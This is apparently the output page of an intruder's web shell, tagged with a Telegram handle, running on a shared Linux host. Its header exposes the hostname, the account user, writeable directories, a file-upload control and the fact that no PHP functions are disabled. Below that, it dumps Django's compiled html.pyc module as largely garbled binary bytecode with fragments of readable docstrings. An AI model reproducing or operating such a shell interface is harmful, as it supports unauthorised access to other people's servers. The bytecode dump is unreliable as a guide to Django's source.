https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /usr/lib64/python2.7/site-packages/django/utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/lib64/python2.7/site-packages/django/utils/html.pyc
�
r�\c@s�dZddlmZddlZddlmZmZddlmZm	Z	ddl
mZddlm
Z
ddlmZmZmZmZdd	lmZd
dlmZmZdd
dddgZdPdQdRdSgZddddddgZejd�Zejd �Zejd!ej�Zejd"ej�Z ejd#�Z!ejd$�Z"ejd%ej�Z#ejd&d'j$geD]Z%ej&e%�^q��ej'�Z(ejd(�Z)d)�Z&ee&e
j*�Z&id*e+d+�6d,e+d-�6d.e+d/�6d0e+d�6d1e+d�6d2e+d3�6d4e+d5�6d6e+d7�6d8e+d�6d9e+d:�6d;e+d<�6Z,e,j-d=�e.d>�D��d?�Z/ee/e
j*�Z/d@�Z0dA�Z1dB�Z2e3dC�Z4ee4e
j*�Z4dDefdE��YZ5dF�Z6dG�Z7ee7�Z7dH�Z8ee8e
j*�Z8dI�Z9ee9e
j*�Z9dJ�Z:ee:e
j*�Z:dK�Z;ee;e
j*�Z;dL�Z<de3e3dM�Z>ee>e
j*�Z>dN�Z?ee?e
j*�Z?dO�Z@dS(Tu'HTML utilities suitable for global use.i����(tunicode_literalsN(tSafeDatat	mark_safe(t
force_textt	force_str(t
allow_lazy(tsix(tquotetunquoteturlsplitt
urlunsplit(tnormalize_newlinesi(t
HTMLParsertHTMLParseErroru.u,u:u;u.)u(u)u<u>u[u]u&lt;u&gt;u&middot;u*u•u&#149;u&bull;u&#8226;u&(?!(\w+|#\d+);)u(\s+)u^https?://\[?\wu7^www\.|^(?!http)\w[^@]+\.(com|edu|gov|int|mil|net|org)$u^\S+@\S+\.\S+$u(<a [^>]*?)target=[^\s>]+ub(?:<br clear="all">|<i><\/i>|<b><\/b>|<em><\/em>|<strong><\/strong>|<\/?smallcaps>|<\/?uppercase>)u%((?:<p>(?:%s).*?[a-zA-Z].*?</p>\s*)+)u|u((?:<p>(?:&nbsp;|\s|<br \/>)*?</p>\s*)+\ZcCsLtt|�jdd�jdd�jdd�jdd�jd	d
��S(ud
    Returns the given text with ampersands, quotes and angle brackets encoded for use in HTML.
    u&u&amp;u<u&lt;u>u&gt;u"u&quot;u'u&#39;(RRtreplace(ttext((s3/tmp/pip-install-XxeQeY/django/django/utils/html.pytescape#su\u005Cu\u\u0027u'u\u0022u"u\u003Eu\u003Cu\u0026u&u\u003Du=u\u002Du-u\u003Bu\u2028u
u\u2029u
ccs)|]}td|�d|fVqdS(u%cu\u%04XN(tord(t.0tz((s3/tmp/pip-install-XxeQeY/django/django/utils/html.pys	<genexpr>9si cCstt|�jt��S(u5Hex encodes characters for use in JavaScript strings.(RRt	translatet_js_escapes(tvalue((s3/tmp/pip-install-XxeQeY/django/django/utils/html.pytescapejs;scCs!t|t�r|St|�SdS(uU
    Similar to escape(), except that it doesn't operate on pre-escaped strings.
    N(t
isinstanceRR(R((s3/tmp/pip-install-XxeQeY/django/django/utils/html.pytconditional_escape@scOs_tt|�}tgtj|�D]\}}|t|�f^q"�}t|j||��S(u�
    Similar to str.format, but passes all arguments through conditional_escape,
    and calls 'mark_safe' on the result. This function should be used instead
    of str.format or % interpolation to build up small HTML fragments.
    (tmapRtdictRt	iteritemsRtformat(t
format_stringtargstkwargst	args_safetktvtkwargs_safe((s3/tmp/pip-install-XxeQeY/django/django/utils/html.pytformat_htmlIs4cs)tt|�j�fd�|D���S(u�
    A wrapper of format_html, for the common case of a group of arguments that
    need to be formatted using the same format string, and then joined using
    'sep'. 'sep' is also passed through conditional_escape.

    'args_generator' should be an iterator that returns the sequence of 'args'
    that will be passed to format_html.

    Example:

      format_html_join('
', "<li>{0} {1}</li>", ((u.first_name, u.last_name)
                                                  for u in users))

    c3s$|]}t�t|��VqdS(N(R%ttuple(RR(R(s3/tmp/pip-install-XxeQeY/django/django/utils/html.pys	<genexpr>ds(RRtjoin(tsepRtargs_generator((Rs3/tmp/pip-install-XxeQeY/django/django/utils/html.pytformat_html_joinTscCs�t|�}tjd|�}|rVg|D]"}dt|�jdd�^q+}n)g|D]}d|jdd�^q]}dj|�S(u'Converts newlines into <p> and <br />s.u
{2,}u	<p>%s</p>u
u<br />u

(RtretsplitRRR'(Rt
autoescapetparastp((s3/tmp/pip-install-XxeQeY/django/django/utils/html.pyt
linebreakshs2)t
MLStrippercBs5eZd�Zd�Zd�Zd�Zd�ZRS(cCsCtjrtj|�ntj|dt�|j�g|_dS(Ntstrict(RtPY2Rt__init__tFalsetresettfed(tself((s3/tmp/pip-install-XxeQeY/django/django/utils/html.pyR4us
	
cCs|jj|�dS(N(R7tappend(R8td((s3/tmp/pip-install-XxeQeY/django/django/utils/html.pythandle_data|scCs|jjd|�dS(Nu&%s;(R7R9(R8tname((s3/tmp/pip-install-XxeQeY/django/django/utils/html.pythandle_entityref~scCs|jjd|�dS(Nu&#%s;(R7R9(R8R<((s3/tmp/pip-install-XxeQeY/django/django/utils/html.pythandle_charref�scCsdj|j�S(Nu(R'R7(R8((s3/tmp/pip-install-XxeQeY/django/django/utils/html.pytget_data�s(t__name__t
__module__R4R;R=R>R?(((s3/tmp/pip-install-XxeQeY/django/django/utils/html.pyR1ts
				cCsut�}y|j|�Wntk
r.|SXy|j�Wn'ttfk
rf}|j�|jSX|j�SdS(u<
    Internal tag stripping utility used by strip_tags.
    N(R1tfeedR
tclosetUnboundLocalErrorR?trawdata(Rtsterr((s3/tmp/pip-install-XxeQeY/django/django/utils/html.pyt_strip_once�s	
cCs[xTtrVd|kpd|ks%|St|�}t|�t|�krM|S|}qWdS(u.Returns the given HTML with all tags stripped.u<u>N(tTrueRHtlen(Rt	new_value((s3/tmp/pip-install-XxeQeY/django/django/utils/html.pyt
strip_tags�s	cCs�g|j�D]}tj|�^q
}ddj|�}tjd|tj�}tjd|�}|jd|�}|jd|�}|S(u/Returns the given HTML with given tags removed.u(%s)u|u<%s(/?>|(\s+[^>]*>))u</%s>u(R,R+RR'tcompiletUtsub(thtmlttagsttagttags_retstarttag_ret	endtag_re((s3/tmp/pip-install-XxeQeY/django/django/utils/html.pytremove_tags�s(cCstjddt|��S(u8Returns the given HTML with spaces between tags removed.u>\s+<u><(R+ROR(R((s3/tmp/pip-install-XxeQeY/django/django/utils/html.pytstrip_spaces_between_tags�scCstjddt|��S(u@Returns the given HTML with all entities (&something;) stripped.u&(?:\w+|#\d+);u(R+ROR(R((s3/tmp/pip-install-XxeQeY/django/django/utils/html.pytstrip_entities�scCstjdt|��S(uGReturns the given HTML with all unencoded ampersands encoded correctly.u&amp;(tunencoded_ampersands_reROR(R((s3/tmp/pip-install-XxeQeY/django/django/utils/html.pytfix_ampersands�scCs�yjt|�\}}}}}y|jd�jd�}Wntk
rMnXt|||||f�}Wntk
r}nXtt|��}t|dd�}t	|�S(u(Quotes a URL if it isn't already quoted.uidnauasciitsafes!*'();:@&=+$,/?#[]~(
R	tencodetdecodetUnicodeErrorR
t
ValueErrorRRRR(turltschemetnetloctpathtquerytfragment((s3/tmp/pip-install-XxeQeY/django/django/utils/html.pytsmart_urlquote�s

c
Cs-|d�}t|t�}tjt|��}x�t|�D]�\}}d}	d|kssd|kssd|kr�d|d}
}}x;tD]3}
|j|
�r�|t	|
� }|
|}q�q�Wx�t
D]�\}}|j|�r|t	|�}|
|}
n|j|�r�|j|�|j|�dkr�|t	|� }||}q�q�Wd}|ridnd}t
j|�r�t|�}n�tj|�r�td|�}nd|kr.tj|�r.|jdd�\}}y|jd	�jd
�}Wntk
rq=nXd||f}d}n|r�||�}|r�|r�t|
�t|�}
}t|�t|�}}nd|||f}td
|
||f�||<q|r�t|�||<q|rt|�||<qq=|rt|�||<q=|r=t|�||<q=q=Wdj|�S(u�
    Converts any URLs in text into clickable links.

    Works on http://, https://, www. links, and also on links ending in one of
    the original seven gTLDs (.com, .edu, .gov, .int, .mil, .net, and .org).
    Links can have trailing punctuation (periods, commas, close-parens) and
    leading punctuation (opening parens) and it'll still do the right thing.

    If trim_url_limit is not None, the URLs in link text longer than this limit
    will truncated to trim_url_limit-3 characters and appended with an elipsis.

    If nofollow is True, the URLs in link text will get a rel="nofollow"
    attribute.

    If autoescape is True, the link text and URLs will get autoescaped.
    cSs;|dkst|�|kr"|Sd|td|d� S(Nu%s...ii(tNoneRJtmax(txtlimit((s3/tmp/pip-install-XxeQeY/django/django/utils/html.pyttrim_url�su.u@u:uiu rel="nofollow"u	http://%suidnauasciiumailto:%s@%su<a href="%s"%s>%s</a>u%s%s%sN(RRt
word_split_reR,Rt	enumerateRgtTRAILING_PUNCTUATIONtendswithRJtWRAPPING_PUNCTUATIONt
startswithtcountt
simple_url_retmatchRftsimple_url_2_retsimple_email_retrsplitR\R]R^RRR'(Rttrim_url_limittnofollowR-Rkt
safe_inputtwordstitwordRttleadtmiddlettrailtpunctuationtopeningtclosingR`t
nofollow_attrtlocaltdomainttrimmed((s3/tmp/pip-install-XxeQeY/django/django/utils/html.pyturlize�sb$

"
	
 cCs�ddlm}|t|��}tjdd|�}tjdd|�}t|�}tjd|�}tjd|�}d	�}tj||�}t	jd|�}|S(
u�
    Clean the given HTML.  Specifically, do the following:
        * Convert <b> and <i> to <strong> and <em>.
        * Encode all ampersands correctly.
        * Remove all "target" attributes from <a> tags.
        * Remove extraneous HTML, such as presentational tags that open and
          immediately close and <br clear="all">.
        * Convert hard-coded bullets into HTML unordered lists.
        * Remove stuff like "<p>&nbsp;&nbsp;</p>", but only if it's at the
          bottom of the text.
    i����(Ru
<(/?)\s*b\s*>u
<\1strong>u
<(/?)\s*i\s*>u<\1em>u\1ucSsG|j�jdd�}x$tD]}|jd|d�}qWd|S(Nu</p>u</li>u<p>%su<li>u
<ul>
%s
</ul>(tgroupRtDOTS(RtRFR:((s3/tmp/pip-install-XxeQeY/django/django/utils/html.pytreplace_p_tags;s
(
tdjango.utils.textRRR+RORZtlink_target_attribute_rethtml_gunk_rethard_coded_bullets_rettrailing_empty_content_re(RRR�((s3/tmp/pip-install-XxeQeY/django/django/utils/html.pyt
clean_html%s	cCs|jdd�S(u�
    Avoid text wrapping in the middle of a phrase by adding non-breaking
    spaces where there previously were normal spaces.
    u u (R(R((s3/tmp/pip-install-XxeQeY/django/django/utils/html.pytavoid_wrappingGs(u(u)(u<u>(u[u](u&lt;u&gt;(At__doc__t
__future__RR+tdjango.utils.safestringRRtdjango.utils.encodingRRtdjango.utils.functionalRtdjango.utilsRt#django.utils.six.moves.urllib.parseRRR	R
R�Rthtml_parserRR
RnRpR�RMRYRlt
IGNORECASERsRuRvR�R�R'RiRtDOTALLR�R�t	text_typeRRtupdatetrangeRRR%R*R5R0R1RHRLRVRWRXRZRfRgR�R�R�(((s3/tmp/pip-install-XxeQeY/django/django/utils/html.pyt<module>sz">	









								
						L	 

https://t.me/AnonymousX5 - 2025